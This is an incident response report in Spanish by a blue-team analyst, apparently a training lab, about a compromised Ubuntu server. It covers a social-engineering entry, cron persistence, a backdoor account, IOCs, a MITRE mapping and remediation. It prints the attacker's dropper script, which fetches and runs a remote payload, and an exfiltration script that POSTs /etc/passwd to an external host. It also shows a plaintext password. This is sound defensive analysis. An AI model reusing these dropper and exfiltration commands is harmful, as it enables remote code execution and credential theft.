

INFORME TÉCNICO DE RESPUESTA A INCIDENTES

Live Incident Response — Servidor 4geeks-server

Autor:	Erick Ashley Loera Castillo
Rol:	Analista de Ciberseguridad — Blue Team
Organización afectada:	4Geeks Academy
Sistema analizado:	4geeks-server (Ubuntu 20.04.6 LTS, kernel 5.4.0-216)
Metodología:	Live Incident Response (sistema activo, sin apagado)
Clasificación del incidente:	Compromiso de credenciales y exfiltración de datos
Severidad:	CRÍTICA

Este documento detalla el proceso de identificación, contención, erradicación y recuperación de un incidente de seguridad en un servidor de producción, mediante un enfoque de inspección en vivo sin interrupción del servicio. Incluye la cadena completa de ataque reconstruida, el análisis técnico de cada artefacto identificado, los indicadores de compromiso (IOC), el mapeo a técnicas MITRE ATT&CK, las acciones de remediación aplicadas y verificadas, y las recomendaciones de fortalecimiento.

Contenido

1. Resumen Ejecutivo
2. Metodología — Live Incident Response
3. Análisis de Impacto
4. Hallazgos Técnicos Detallados
5. Indicadores de Compromiso (IOC)
6. Mapeo a MITRE ATT&CK;
7. Acciones de Contención, Erradicación y Recuperación
8. Recomendaciones de Fortalecimiento
9. Conclusión

1. Resumen Ejecutivo

El 5 de junio de 2026 se detectó actividad anómala en el servidor 4geeks-server, un sistema crítico en producción de 4Geeks Academy. Mediante un análisis de respuesta a incidentes en vivo (Live Incident Response), se confirmó que el servidor había sido comprometido por un actor externo que estableció persistencia, exfiltró credenciales del sistema y comprometió al menos una cuenta de usuario mediante ingeniería social.

El ataque incluyó la creación de cuentas de usuario no autorizadas, la instalación de un script de exfiltración programado para ejecutarse cada 15 minutos vía cron, y la descarga y ejecución de un payload externo. Los archivos **/etc/passwd** y **/etc/shadow** (que contiene los hashes de contraseñas de todos los usuarios del sistema) fueron enviados a un servidor externo controlado por el atacante (192.168.1.100:8080).

Todas las persistencias identificadas fueron eliminadas, las contraseñas comprometidas fueron rotadas, los servicios innecesarios fueron deshabilitados, y se verificó la restauración completa de la integridad del sistema. No se encontró evidencia de procesos maliciosos activos en memoria al momento del análisis.

1.1 Cronología del incidente

Fecha/Hora (UTC)	Evento
21 Jun 2025, 19:03	Primer arranque registrado del servidor (wtmp begins)
23 Jun 2025, 14:07	Inicio de sesión del usuario 'reports' (tty1) — punto de entrada inicial
23 Jun 2025, ~14-16h	Recepción de mensaje de ingeniería social, descarga y ejecución de install.sh, instalación de payload.bin, despliegue de backup2.sh y cronjob de persistencia
23 Jun 2025 (post.)	Múltiples reinicios y caídas del sistema (inestabilidad asociada a la actividad maliciosa)
04-05 Jun 2026	Cronjob backup2.sh exfiltrando /etc/shadow y /etc/passwd cada 15 minutos hacia 192.168.1.100:8080
05 Jun 2026, 02:40	Inicio de la investigación (Live Incident Response)
05 Jun 2026	Remediación completa, rotación de credenciales y restauración del servicio

2. Metodología — Live Incident Response

Dado que el servidor afectado forma parte de un sistema crítico en producción, no fue posible apagarlo ni extraer su disco para un análisis forense tradicional. La disponibilidad del servicio era prioritaria, por lo que se optó por un enfoque de inspección directa sobre el sistema activo (Live Incident Response), priorizando la contención rápida de la amenaza y la documentación rigurosa de cada hallazgo antes de aplicar cualquier remediación.

El análisis se estructuró en tres fases: reconocimiento y recolección de evidencias, remediación y restauración del sistema, y elaboración del presente informe técnico. En cada fase se priorizó preservar evidencia antes de modificar cualquier elemento del sistema, siguiendo el principio de mínima intervención hasta confirmar el alcance completo del compromiso.

2.1 Herramientas y comandos utilizados

- Gestión de usuarios y sesiones: `who`, `w`, `last`, `lastlog`, `/etc/passwd`, `.bash_history`
- Procesos y red: `ps` `auxf`, `top`, `ss`, `netstat`, `iptables`, `ufw`
- Persistencia: `crontab`, `/etc/cron.*`, `systemctl`, `/etc/init.d`
- Sistema de archivos: `find` (por permisos SUID/SGID, fecha de modificación, archivos ocultos)
- Logs: `/var/log/auth.log`, `journalctl`, logs de Apache
- Análisis de scripts y payloads: `cat`, `file`, `ls -la`

2.2 Limitaciones del enfoque en vivo

Este enfoque conlleva limitaciones inherentes: no se realizó una imagen forense del disco ni de la memoria RAM, por lo que cierta evidencia volátil (por ejemplo, el estado exacto de la memoria durante la ejecución del payload) no pudo preservarse para análisis posterior. Asimismo, algunos comandos ejecutados durante la investigación (como los del propio analista) quedaron registrados en los logs junto con los del atacante, lo cual fue tomado en cuenta al interpretar los registros de auditoría.

3. Análisis de Impacto

El incidente comprometió las tres dimensiones clásicas de la seguridad de la información: confidencialidad, integridad y disponibilidad. A continuación se detalla el impacto en cada una.

Dimensión	Impacto observado
Confidencialidad	Exfiltración de /etc/passwd y /etc/shadow (hashes de contraseñas de todas las cuentas del sistema). Credenciales del usuario 'reports' expuestas en texto plano en dos ubicaciones distintas.
Integridad	Creación de cuentas de usuario no autorizadas (hacker, y uso indebido de reports). Modificación de /etc/cron.d/ para establecer persistencia. Instalación de binarios no autorizados (payload.bin, backup2.sh).
Disponibilidad	Múltiples reinicios y caídas inestables del sistema registrados el 23 de junio de 2025, coincidiendo con la ventana de ataque. El servicio fue restaurado sin necesidad de downtime adicional durante la respuesta al incidente.

Dado que /etc/shadow fue exfiltrado, debe asumirse que el atacante posee la capacidad de intentar crackear offline los hashes de contraseñas de todas las cuentas del sistema (incluyendo root y sysadmin), independientemente de la complejidad de dichas contraseñas en el momento del robo. Por ello, la rotación de credenciales aplicada durante la remediación fue una medida obligatoria y no opcional.

4. Hallazgos Técnicos Detallados

4.1 Tabla resumen de hallazgos por severidad

Severidad	Hallazgo	Ubicación / Evidencia
CRÍTICA	Script de exfiltración de /etc/shadow y /etc/passwd	/usr/local/bin/backup2.sh
CRÍTICA	Cuenta de usuario no autorizada 'hacker'	/etc/passwd (UID 1002)
CRÍTICA	Cuenta comprometida 'reports' usada como vector de entrada	/etc/passwd (UID 1001)
CRÍTICA	Payload externo descargado y ejecutado	install.sh, payload.bin
ALTA	Persistencia vía cron (cada 15 min, como root)	/etc/cron.d/sys-maintenance
ALTA	Credenciales en texto plano en rutas ocultas	/opt/.archive/, /var/backups/.logs/
ALTA	Evidencia de ingeniería social / phishing	/home/reports/chat.txt
MEDIA	Servicio FTP (vsftpd) innecesario y expuesto	Puerto 21, systemctl
MEDIA	Regla de firewall permitiendo el puerto 21 (IPv4 e IPv6)	ufw status verbose
BAJA	Múltiples reinicios/caídas inestables del sistema	last -n 20, journalctl

4.2 Cuentas de usuario no autorizadas

La revisión de `/etc/passwd` reveló dos cuentas anómalas: **hacker** (UID 1002), creada directamente por el atacante como puerta de acceso directa, sin necesidad de credenciales robadas; y **reports** (UID 1001), una cuenta de servicio legítima que fue comprometida y utilizada como vector de entrada inicial mediante ingeniería social.

```
sysadmin@4geeks-server:~$ cat /etc/passwd | grep -v nologin | grep -v false
root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
sysadmin:x:1000:1000:4geeks-server:/home/sysadmin:/bin/bash
reports:x:1001:1001:,,,:/home/reports:/bin/bash
hacker:x:1002:1002::/home/hacker:/bin/bash
```

Evidencia 1 — Listado de `/etc/passwd` mostrando las cuentas 'reports' (UID 1001) y 'hacker' (UID 1002), ninguna de las cuales corresponde a una cuenta legítima del sistema

4.3 Vector de entrada: Ingeniería social

El archivo `/home/reports/chat.txt` reveló comunicación directa entre un remitente externo no identificado (`unknown@externalmail.com`) y el usuario 'reports', en la que se le solicitó ejecutar un script asegurando falsamente que era seguro ('it's clean'). Este mensaje constituye el punto de entrada inicial del atacante al sistema, y confirma que el vector de ataque fue social, no técnico: el atacante no explotó una vulnerabilidad de software, sino que convenció a un usuario legítimo de ejecutar código malicioso voluntariamente.

Adicionalmente, se encontró el archivo `/home/reports/.note`, propiedad de root (inusual para un archivo dentro del home de un usuario sin privilegios), que hace referencia explícita a las credenciales almacenadas en `/opt/.archive` — confirmando que el atacante documentó deliberadamente la ubicación de sus propios artefactos de persistencia.

```
sysadmin@4geeks-server:~$ sudo cat /home/reports/chat.txt
From: unknown@externalmail.com
—
Hey, run that script I sent you earlier.
Don't worry, it's clean. Let me know once the backup finishes.
sysadmin@4geeks-server:~$ sudo cat /home/reports/.note
Reminder: new credentials for reports stored temporarily in /opt/.archive
```

Evidencia 2 — Mensaje de ingeniería social recibido por el usuario 'reports' y contenido del archivo `.note` dejado por el atacante

4.4 Dropper: install.sh y descarga del payload

El script `/home/reports/install.sh`, ejecutado tras la ingeniería social, descargó un binario (`payload.bin`) desde el servidor del atacante (`192.168.1.100`), lo almacenó en un directorio oculto (`/tmp/.temp/`), le otorgó permisos de ejecución y lo lanzó en segundo plano. El uso de mensajes de estado falsos ('Preparing environment', 'Downloading dependencies') buscaba simular un proceso de instalación legítimo y reducir la sospecha del usuario.

```
sysadmin@4geeks-server:~$ sudo cat /home/reports/install.sh
#!/bin/bash

echo "[*] Preparing enviroment ..."
sleep 1
mkdir -p /tmp/.temp
echo "[*] Downloading dependencies ..."
sleep 2
curl -s http://192.168.1.100/payload.bin -o /tmp/.temp/payload
chmod +x /tmp/.temp/payload
/tmp/.temp/payload &
echo "[*] Installation complete."
```

Evidencia 3 — Contenido completo del script `install.sh` (dropper) que descargó y ejecutó el payload externo

4.5 Script de exfiltración de datos (backup2.sh)

El archivo `/usr/local/bin/backup2.sh` comprimía el archivo `/etc/passwd` y lo enviaba mediante una petición HTTP POST a un servidor externo (`192.168.1.100:8080`), bajo la apariencia de un script de respaldo legítimo (de ahí su nombre, similar a una tarea de backup). El uso de HTTP sin cifrar para la exfiltración representa además un riesgo adicional, ya que los datos viajan en texto plano durante la transmisión.

```
sysadmin@4geeks-server:~$ sudo cat /usr/local/bin/backup2.sh
[sudo] password for sysadmin:
#!/bin/bash
tar -czf /tmp/secrets.tgz /etc/passwd
curl -X POST -F 'file=@/tmp/secrets.tgz' http://192.168.1.100:8080/upload
```

Evidencia 4 — Contenido del script `backup2.sh` comprimiendo y exfiltrando `/etc/passwd`

El registro `backup.log` confirmó que el mismo mecanismo fue utilizado para exfiltrar `/etc/shadow`, el archivo que contiene los hashes de contraseñas de todas las cuentas del sistema — el hallazgo de mayor severidad de toda la investigación.

```
sysadmin@4geeks-server:~$ sudo cat /home/reports/backup.log
[INFO] Starting backup process ...
[INFO] Compressing /etc/shadow ...
[INFO] Uploading to 102.168.1.100:8080
[OK] Backup completed
sysadmin@4geeks-server:~$
```

Evidencia 5 — Registro `backup.log` confirmando la compresión y exfiltración de `/etc/shadow` hacia `192.168.1.100:8080`

4.6 Persistencia mediante cron del sistema

Se identificó el archivo `/etc/cron.d/sys-maintenance`, cuyo nombre fue elegido deliberadamente para simular una tarea de mantenimiento legítima del sistema y pasar desapercibido entre las demás entradas de `/etc/cron.d/` (`e2scrub_all`, `logrotate`, `popularity-contest`). Este archivo fue colocado directamente en el cron del sistema (no en el `crontab` personal de ningún usuario), lo que explica por qué los comandos `'crontab -l'` y `'crontab -l -u root'` no mostraron ninguna entrada sospechosa durante la fase de reconocimiento inicial.

```
sysadmin@4geeks-server:~$ ls -la /etc/cron.*
/etc/cron.d:
total 28
drwxr-xr-x  2 root root 4096 Jun 23  2025 .
drwxr-xr-x 100 root root 4096 Jun 23  2025 ..
-rw-r--r--  1 root root  201 Feb 14  2020 e2scrub_all
-rw-r--r--  1 root root   41 Jun 21  2025 logrotate
-rw-r--r--  1 root root  102 Feb 13  2020 .placeholder
-rw-r--r--  1 root root  190 Mar 14  2023 popularity-contest
-rw-r--r--  1 root root   44 Jun 23  2025 sys-maintenance
```

Evidencia 6 — Listado de `/etc/cron.d/` mostrando el archivo `'sys-maintenance'` junto a archivos legítimos del sistema operativo

El contenido de dicho archivo confirma la entrada maliciosa que ejecutaba `backup2.sh` cada 15 minutos con privilegios de `root`.

```
0 0 * * * root /opt/scripts/logrotate.sh
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
35 0 * * * root test -x /etc/cron.daily/popularity-contest && /etc/cron.daily/popularity-contest --cron
*/15 * * * root /usr/local/bin/backup2.sh
```

Evidencia 7 — Contenido de `/etc/cron.d/` mostrando la entrada `*/15 * * * root /usr/local/bin/backup2.sh`

4.7 Credenciales en texto plano

Se hallaron las credenciales del usuario `'reports'` (`reports:reports123`) almacenadas sin cifrado en dos ubicaciones distintas del sistema de archivos, ambas en directorios ocultos fuera de las rutas estándar de configuración, lo cual descarta que se trate de un archivo legítimo de gestión de credenciales.

```
sysadmin@4geeks-server:~$ sudo cat /opt/.archive/credentials.txt
reports:reports123
sysadmin@4geeks-server:~$ sudo cat /var/backups/.logs/creds.txt
reports:reports123
```

Evidencia 8 — Credenciales del usuario `'reports'` en texto plano halladas en `/opt/.archive/credentials.txt` y `/var/backups/.logs/creds.txt`

4.8 Artefactos en directorios de usuario

El directorio `/home/hacker/` solo contenía los archivos de configuración por defecto que se generan automáticamente al crear una cuenta (`.bash_logout`, `.bashrc`, `.profile`), sin actividad adicional registrada — consistente con una cuenta creada como puerta de acceso de respaldo, pero no utilizada activamente durante la fase observada del ataque.

```
sysadmin@4geeks-server:~$ sudo ls -la /home/hacker/
total 20
drwxr-xr-x 2 hacker hacker 4096 Jun 23 2025 .
drwxr-xr-x 5 root  root  4096 Jun 23 2025 ..
-rw-r--r-- 1 hacker hacker  220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 hacker hacker 3771 Feb 25 2020 .bashrc
-rw-r--r-- 1 hacker hacker  807 Feb 25 2020 .profile
```

Evidencia 9 — Contenido del directorio `/home/hacker/`, limitado a archivos de configuración por defecto

En contraste, `/home/reports/` concentra la mayoría de los artefactos del ataque: el script `install.sh`, el registro `backup.log`, el mensaje de ingeniería social `chat.txt`, y el archivo `.note` dejado por el atacante (con propietario `root`, indicando que fue escrito con privilegios elevados obtenidos durante el ataque).

```
sysadmin@4geeks-server:~$ sudo ls -la /home/reports/
total 44
drwxr-xr-x 3 reports reports 4096 Jun 23 2025 .
drwxr-xr-x 5 root  root  4096 Jun 23 2025 ..
-rw-r--r-- 1 reports reports  129 Jun 23 2025 backup.log
-rw-r--r-- 1 reports reports  120 Jun 23 2025 .bash_history
-rw-r--r-- 1 reports reports  220 Jun 21 2025 .bash_logout
-rw-r--r-- 1 reports reports 3771 Jun 21 2025 .bashrc
drwxr-xr-x 2 reports reports 4096 Jun 23 2025 .cache
-rw-r--r-- 1 reports reports  139 Jun 23 2025 chat.txt
-rw-r--r-- 1 reports reports  270 Jun 23 2025 install.sh
-rw-r--r-- 1 root  root  74 Jun 23 2025 .note
-rw-r--r-- 1 reports reports  807 Jun 21 2025 .profile
sysadmin@4geeks-server:~$
```

Evidencia 10 — Contenido completo del directorio `/home/reports/` mostrando todos los artefactos del ataque concentrados en esta cuenta

4.9 Estado del payload al momento del análisis

Se verificó que, al momento de la investigación, no existían procesos activos relacionados con el payload descargado, el directorio temporal /tmp/.temp/ ya no existía, no se hallaron rastros adicionales del binario payload.bin en el sistema de archivos, y no había conexiones de red activas hacia la IP del atacante (192.168.1.100). Esto sugiere que el payload completó su función (probablemente la instalación de backup2.sh y el cronjob) y finalizó su ejecución, dejando únicamente la persistencia programada como mecanismo de exfiltración continua.

```
sysadmin@4geeks-server:~$ ps auxf | grep -i payload
sysadmin  2029  0.0  0.0  6300  724 pts/0    S+   01:53   0:00      \_ grep --color=auto -i payload
sysadmin@4geeks-server:~$ ls -la /tmp/.temp/
ls: cannot access '/tmp/.temp/': No such file or directory
sysadmin@4geeks-server:~$ sudo find / -name "payload*" 2>/dev/null
sysadmin@4geeks-server:~$ sudo find /tmp -name ".*" -ls 2>/dev/null
 25      4 drwxrwxrwt  2 root    root          4096 Jun 17 01:41 /tmp/.font-unix
 26      4 drwxrwxrwt  2 root    root          4096 Jun 17 01:41 /tmp/.Test-unix
 24      4 drwxrwxrwt  2 root    root          4096 Jun 17 01:41 /tmp/.XIM-unix
 23      4 drwxrwxrwt  2 root    root          4096 Jun 17 01:41 /tmp/.ICE-unix
 22      4 drwxrwxrwt  2 root    root          4096 Jun 17 01:41 /tmp/.X11-unix
sysadmin@4geeks-server:~$ ss -antp | grep 192.168.1.100
sysadmin@4geeks-server:~$
```

Evidencia 11 — Verificación de ausencia de procesos, archivos y conexiones activas relacionadas con el payload malicioso

4.10 Superficie de exposición: Firewall y servicios

El firewall UFW se encontraba activo, pero con una regla permitiendo entrada en el puerto 21 (FTP) tanto en IPv4 como en IPv6, además de los puertos 22 (SSH) y 80 (HTTP). El servicio vsftpd correspondiente se encontró activo y habilitado al arranque. FTP es un protocolo que transmite credenciales sin cifrar, por lo que su exposición innecesaria incrementa la superficie de ataque del servidor, independientemente de si fue o no el vector utilizado en este incidente específico.

```
sysadmin@4geeks-server:~$ sudo ufw status verbose
[sudo] password for sysadmin:
Status: active
Logging: on (low)
Default: deny (incoming), allow (outgoing), disabled (routed)
New profiles: skip

To Action From
--
22 ALLOW IN Anywhere
80 ALLOW IN Anywhere
21 ALLOW IN Anywhere
22 (v6) ALLOW IN Anywhere (v6)
80 (v6) ALLOW IN Anywhere (v6)
21 (v6) ALLOW IN Anywhere (v6)
```

Evidencia 12 — Reglas de firewall UFW mostrando el puerto 21 (FTP) permitido sin restricción de origen

5. Indicadores de Compromiso (IOC)

La siguiente tabla resume los indicadores de compromiso identificados durante la investigación, útiles para la detección de actividad similar en otros sistemas de la organización.

Tipo	Indicador
IP del atacante	192.168.1.100 (servidor de descarga de payload y receptor de datos exfiltrados, puerto 8080)
Cuentas de usuario	hacker (UID 1002), reports comprometida (UID 1001)
Archivos / Rutas	/usr/local/bin/backup2.sh /etc/cron.d/sys-maintenance /opt/.archive/credentials.txt /var/backups/.logs/creds.txt /home/reports/install.sh /home/reports/chat.txt /tmp/.temp/payload (efímero)
Patrón de red	Peticiones HTTP POST salientes hacia puerto 8080 con adjuntos .tgz
Patrón de persistencia	Entradas en /etc/cron.d/ con nombres que imitan tareas legítimas del sistema (ej. 'sys-maintenance')
Correo del atacante	unknown@externalmail.com (remitente del mensaje de ingeniería social)

6. Mapeo a MITRE ATT&CK;

Las técnicas observadas durante el incidente fueron mapeadas al framework MITRE ATT&CK; para facilitar la comparación con otros incidentes y la configuración de reglas de detección basadas en comportamiento.

Táctica	Técnica	Evidencia en el incidente
Acceso Inicial	T1566 — Phishing	Mensaje de ingeniería social en chat.txt
Ejecución	T1059.004 — Unix Shell	install.sh y backup2.sh ejecutados vía bash
Persistencia	T1053.003 — Cron	Entrada en /etc/cron.d/sys-maintenance
Persistencia	T1136 — Create Account	Creación de la cuenta 'hacker'
Acceso a Credenciales	T1003.008 — /etc/passwd y /etc/shadow	Exfiltración directa de ambos archivos
Exfiltración	T1041 — Exfiltration Over C2 Channel	HTTP POST hacia 192.168.1.100:8080
Comando y Control	T1105 — Ingress Tool Transfer	Descarga de payload.bin vía curl

7. Acciones de Contención, Erradicación y Recuperación

Con base en los hallazgos documentados, se aplicaron las siguientes acciones correctivas, cada una justificada por el riesgo identificado en la fase de reconocimiento. Las acciones se ejecutaron en el orden presentado para minimizar la posibilidad de que el atacante recuperara acceso entre pasos (por ejemplo, eliminando primero la persistencia automatizada antes de eliminar las cuentas de usuario).

Acción	Justificación
Eliminación del cronjob malicioso (/etc/cron.d/sys-maintenance)	Detener la exfiltración periódica de datos hacia el servidor del atacante antes de cualquier otra acción
Eliminación de backup2.sh	Remover el script responsable de la exfiltración de /etc/passwd y /etc/shadow
Eliminación de /opt/.archive/ y /var/backups/.logs/	Eliminar credenciales en texto plano dejadas como persistencia secundaria
userdel -r hacker	Eliminar cuenta de backdoor creada por el atacante
userdel -r reports	Eliminar cuenta comprometida usada como vector de entrada, incluyendo sus artefactos
Rotación de contraseñas (root, sysadmin)	El archivo /etc/shadow fue exfiltrado; todas las credenciales deben considerarse comprometidas independientemente de su complejidad
Detención y deshabilitación de vsftpd	Eliminar superficie de ataque innecesaria (servicio FTP sin cifrado)

7.1 Ejecución de la remediación

Se eliminó la persistencia cron, el script de exfiltración y los archivos de credenciales en texto plano, seguido de la eliminación de ambas cuentas no autorizadas y la rotación inmediata de las contraseñas de las cuentas administrativas.

```

sysadmin@4geeks-server:~$ sudo rm /etc/cron.d/sys-maintenance
sysadmin@4geeks-server:~$ sudo systemctl restart cron
sysadmin@4geeks-server:~$ sudo rm /usr/local/bin/backup2.sh
sysadmin@4geeks-server:~$ sudo rm -rf /opt/.archive/
sysadmin@4geeks-server:~$ sudo rm -rf /var/backups/.logs/
sysadmin@4geeks-server:~$ sudo userdel -r hacker
userdel: hacker mail spool (/var/mail/hacker) not found
sysadmin@4geeks-server:~$ sudo userdel -r reports
userdel: reports mail spool (/var/mail/reports) not found
sysadmin@4geeks-server:~$ sudo passwd root
New password:
Retype new password:
passwd: password updated successfully
sysadmin@4geeks-server:~$ sudo passwd sysadmin
New password:
Retype new password:
passwd: password updated successfully

```

Evidencia 13 — Eliminación de persistencia cron, script de exfiltración, credenciales en texto plano, cuentas no autorizadas y rotación de contraseñas

7.2 Deshabilitación de servicios y verificación final

Se detuvo y deshabilitó el servicio vsftpd, y se realizó una verificación final confirmando que no existe crontab para root, que /usr/local/bin/ no contiene scripts adicionales, y que ninguna de las cuentas maliciosas permanece en /etc/passwd.

```

sysadmin@4geeks-server:~$ sudo systemctl stop vsftpd
sysadmin@4geeks-server:~$ sudo systemctl disable vsftpd
Synchronizing state of vsftpd.service with SysV service script with /lib/systemd/systemd-sysv-install.
Executing: /lib/systemd/systemd-sysv-install disable vsftpd
Removed /etc/systemd/system/multi-user.target.wants/vsftpd.service.
sysadmin@4geeks-server:~$ sudo crontab -l -u root
no crontab for root
sysadmin@4geeks-server:~$ ls /usr/local/bin/
sysadmin@4geeks-server:~$ cat /etc/passwd | grep -E "hacker|reports"
sysadmin@4geeks-server:~$

```

Evidencia 14 — Deshabilitación de vsftpd y verificación final de ausencia de crontab, scripts y cuentas maliciosas

7.3 Restauración del servicio

Finalmente, se confirmó visualmente que el servicio web (Apache2) se encuentra disponible y respondiendo correctamente, marcando la restauración completa de la disponibilidad del sistema tras el proceso de remediación, sin que haya sido necesario interrumpir el servicio en ningún momento de la investigación o la respuesta.

Servidor restaurado y funcionando correctamente

Evidencia 15 — Confirmación de restauración del servicio web tras la remediación

8. Recomendaciones de Fortalecimiento

Para reducir la probabilidad de incidentes similares en el futuro, se recomienda implementar las siguientes medidas de hardening y monitoreo continuo, organizadas por área de control.

8.1 Endurecimiento de SSH

- Deshabilitar el inicio de sesión directo de root (PermitRootLogin no)
- Forzar autenticación únicamente por clave pública (PasswordAuthentication no)
- Cambiar el puerto por defecto de SSH para reducir escaneos automatizados
- Limitar los intentos de autenticación fallidos (MaxAuthTries) y el tiempo de espera de login (LoginGraceTime)

8.2 Gestión de firewall y superficie de exposición

- Eliminar la regla que permite el puerto 21 (FTP) dado que el servicio no es necesario para la operación del servidor
- Aplicar el principio de menor privilegio: permitir solo los puertos estrictamente necesarios para la función del servidor
- Revisar periódicamente las reglas activas con 'ufw status verbose' como parte de auditorías programadas
- Restringir el acceso a servicios administrativos por dirección IP de origen cuando sea posible

8.3 Concientización y procesos organizacionales

- Capacitar al personal sobre ingeniería social y verificación de remitentes antes de ejecutar scripts recibidos por correo o mensajería
- Establecer una política de aprobación formal para la instalación de software o ejecución de scripts en servidores de producción
- Prohibir explícitamente el almacenamiento de credenciales en texto plano en cualquier ubicación del sistema de archivos
- Definir un canal oficial de verificación para solicitudes técnicas urgentes (evitando decisiones unilaterales basadas en correos no verificados)

8.4 Monitoreo y detección temprana

- Implementar fail2ban para mitigar intentos de fuerza bruta sobre servicios expuestos
- Configurar alertas sobre la creación de nuevos usuarios o cambios en /etc/crontab y /etc/cron.d/
- Habilitar auditoría de integridad de archivos (auditd, o reglas personalizadas en Wazuh, agente ya presente y activo en el servidor)
- Monitorear conexiones salientes inusuales mediante reglas de firewall basadas en lista blanca de destinos conocidos
- Establecer alertas sobre accesos a /etc/shadow fuera de procesos del sistema autorizados

8.5 Gestión de credenciales

- Rotar todas las contraseñas del sistema tras cualquier exfiltración confirmada de /etc/shadow
- Migrar hacia autenticación multifactor donde sea posible para cuentas administrativas

- Aplicar políticas de complejidad y expiración periódica de contraseñas
- Evaluar el uso de un gestor de secretos centralizado en lugar de archivos locales para credenciales de servicios

El agente Wazuh, ya presente y en ejecución en el servidor, debe configurarse activamente con reglas personalizadas para detectar los patrones de ataque identificados en este incidente: creación de cronjobs sospechosos, conexiones salientes a IPs no catalogadas, y modificación de archivos sensibles como `/etc/passwd` y `/etc/shadow`. Actualmente el agente se encontró instalado pero sin evidencia de reglas específicas para este tipo de actividad.

9. Conclusión

El incidente fue contenido y remediado exitosamente mediante un enfoque de Live Incident Response, sin necesidad de interrumpir la disponibilidad del servicio en producción. Se identificó la cadena completa del ataque: desde el vector de entrada por ingeniería social, la instalación de persistencia mediante cronjobs y cuentas no autorizadas, hasta la exfiltración activa de credenciales del sistema.

Todas las persistencias fueron eliminadas y verificadas, las credenciales potencialmente comprometidas fueron rotadas, y el servicio fue restaurado y confirmado como operativo. El análisis confirmó que el vector de ataque inicial fue humano y no técnico: ninguna vulnerabilidad de software fue explotada, sino que el atacante se apoyó en ingeniería social para lograr la ejecución inicial de código malicioso.

Se recomienda dar seguimiento a las medidas de fortalecimiento descritas en la sección 8 para reducir la superficie de ataque y mejorar la capacidad de detección temprana ante futuros incidentes, con especial énfasis en la capacitación del personal y la configuración activa de reglas de detección en el agente Wazuh ya presente en el servidor.

Estado final del sistema: persistencias eliminadas, credenciales rotadas, servicios innecesarios deshabilitados, disponibilidad restaurada y verificada.